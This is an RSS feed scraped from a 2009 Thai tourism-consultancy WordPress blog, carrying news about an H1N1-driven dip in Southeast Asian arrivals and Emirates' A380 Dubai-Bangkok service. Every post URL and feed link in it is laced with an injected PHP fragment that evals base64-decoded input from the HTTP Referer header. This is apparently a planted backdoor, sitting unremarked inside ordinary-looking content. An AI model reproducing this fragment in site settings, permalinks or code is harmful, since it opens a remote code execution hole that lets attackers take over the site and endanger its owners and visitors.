Royal Intel - Tourism Intelligence Consultants » Thailand http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 4% Envisaged Dip in International Arrivals for SE Asia-PATA http://royalintel.com/2009/08/02/4-envisaged-dip-in-international-arrivals-for-se-asia-pata/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/02/4-envisaged-dip-in-international-arrivals-for-se-asia-pata/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 03 Aug 2009 01:15:54 +0000 Lara http://royalintel.com/2009/08/02/4-envisaged-dip-in-international-arrivals-for-se-asia-pata/
Reports indicate that Southeast Asia will this year suffer a fall of around 4% in international arrivals compared to 2008. This was revealed by PATA’s Strategic Intelligence Centre which notes that there is every chance that the continuing spread of the Type A (H1N1) influenza virus will further undermine the confidence of business and leisure travelers and prompt drastic preventative measures by national governments and other public and private sector organizations that will also hinder cross-border traffic.

Thai Airways International (THAI) has already indicated a drop in passenger numbers, particularly from East Asia, with Chinese, Japanese, and South Korean flyers down 15-20%. According to the carrier’s executive chairman, Wallop Bhukkanasut, the outbreak of Type A (H1N1) influenza is threatening international travel and affecting THAI’s business directly, while other airlines such as Bangkok Airways, the major operator of the Bangkok-Koh Samui route, has reported low bookings on that route even with the anticipated high season starting August. As a consequence, the carrier has lowered its passenger forecast this year to 2.6 million, due to the pandemic. Last year, it carried 2.5 million and had expected to serve 2.8 million this year.

PATA notes that there is need to apply the knowledge, expertise, and lessons learned from the SARS crisis of 2003 and the past experience outbreaks of the Avian Influenza A (H5N1) to mitigate against impacts facing the industry given the latest pandemic. As a start, PATA is to post a Type A (H1N1) advisory bulletin with FAQs on its website. The latest PATA updates were presented to members of Skal Thailand during a teleconference of the Tourism Emergency Response Network (TERN), the Network being a closely knit grouping of the leading tourism associations of the world which was formally launched in Washington DC in April 2006 under the auspices of Francesco Frangialli, then secretary-general of the World Tourism Organization.

Source: TravelMole at www.travelmole.com

]]> http://royalintel.com/2009/08/02/4-envisaged-dip-in-international-arrivals-for-se-asia-pata/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 ‘Super-Jumbo’ for Dubai-Bangkok Route http://royalintel.com/2009/06/14/%e2%80%98super-jumbo%e2%80%99-for-dubai-bangkok-route/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/06/14/%e2%80%98super-jumbo%e2%80%99-for-dubai-bangkok-route/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 14 Jun 2009 08:21:08 +0000 Tue http://royalintel.com/2009/06/14/%e2%80%98super-jumbo%e2%80%99-for-dubai-bangkok-route/ Emirates Airline launched the first commercial Airbus A380 flights to Bangkok, Thailand, this month. The A380 ’super jumbo’ aircraft will serve the Dubai-Bangkok route on a daily basis. The new Thai route extends the Dubai-based Emirates’ A380 presence in Asia after the launch of its A380 flights to Sydney and Auckland in February this year. With an expected increase in capacity of about 30% provided by the change of aircraft, Emirates seeks equally to strengthen its support for popular transit markets.

With the airliner servicing London Heathrow, UK tourists travelling to and from Thailand will now be able to enjoy a seamless A380 experience between the two destinations. The in-flight product of Emirates’ A380 now includes onboard shower spas in its first class service and even an onboard lounge for first and business class customers to enjoy. With flat-bed massage-equipped private suites in first class, a new generation of intelligent seating and flat-beds in business class, mood-lighting, and an in-flight entertainment system featuring over 1000 channels of on-demand entertainment, the Emirates’ A380 is one of the finest premium commercial products currently trotting the sky.

In a three-class configuration, the aircraft has 14 first, 76 business, and 399 economy class seats spread over two levels with the upper deck dedicated to first and business class passengers only. Acclaiming the arrival of Emirates’ A380 Airbus as a positive development for Thailand’s tourism industry, the Thai deputy permanent secretary in the Ministry of Transport takes delight at the carrier’s choice of Bangkok as the first country to serve as its Far East gateway for the revolutionary A380 product. As a consequence, the ministry is currently marketing and enhancing its trade campaigns focused on promoting Thailand as an ideal holiday destination in the Middle-East. The daily services to Bangkok on EK 372 is scheduled to depart Dubai at 09:40, arriving in Bangkok at 19:00, turning around as EK 373, and departing Bangkok at 21:25, arriving in Dubai at 00:30 the next day.

Source: ASIA Travel Tips.com at www.asiatraveltips.com

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